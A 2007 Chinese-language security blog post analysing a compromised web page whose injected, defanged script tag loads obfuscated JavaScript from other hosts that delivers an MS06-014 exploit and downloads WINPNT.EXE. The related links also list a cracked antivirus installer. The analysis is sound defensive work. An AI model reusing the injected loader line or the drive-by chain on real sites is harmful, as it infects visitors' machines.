[有毒網站] 珠江路在線
上一篇 / 下一篇 2007-01-22 01:58:16 / 個人分類：Security
今日係 Crsky 收到舉報,懷疑以下網址有病毒
hxxp://www.zhujiangroad.com/html/hard/h12158.html
入左去睇睇~有問題的部份:
<scr□pt language="javascr□pt" src="hxxp://61.146.118.11/news/include/md5.asp?ad=1"></scr□pt>
md5.asp指向
hxxp://www.cnfish.com/editor/htmleditor/images/WINPNT.JS
WINPNT.JS修改過~先用FSO還原...
還原後....
好明顯是ASCII code...但我寫的scr□pt Converter只可以處理111,110,32,101,114等用 , 做分隔的ASCII碼...不服!!去修改scr□pt Converter...新增 會詢問分隔符號
還原後得到原來的MS06-014 Exploit....下載WINPNT.EXE
相關閱\讀:
- VML Exploit..... (Krazaf, 2006-9-24)
- The new VBS script is available (Krazaf, 2006-10-18)
- Some thoughts..... (Krazaf, 2006-10-23)
- a worm - tel.xls.exe (Krazaf, 2006-10-31)
- [防毒防駭] Kaspersky Internet Security 6.0.1.411 繁體中文自動安裝破解版 (ppking78, 2006-11-17)
- 有關AnRegProt.sys (Krazaf, 2006-11-23)
- QQRob - 3C7419.exe (Krazaf, 2006-12-17)
- 很久沒打blog.... (Krazaf, 2007-1-09)
- 7939,7b.com.cn作者的新作品 - 8757.com? (Krazaf, 2007-1-09)
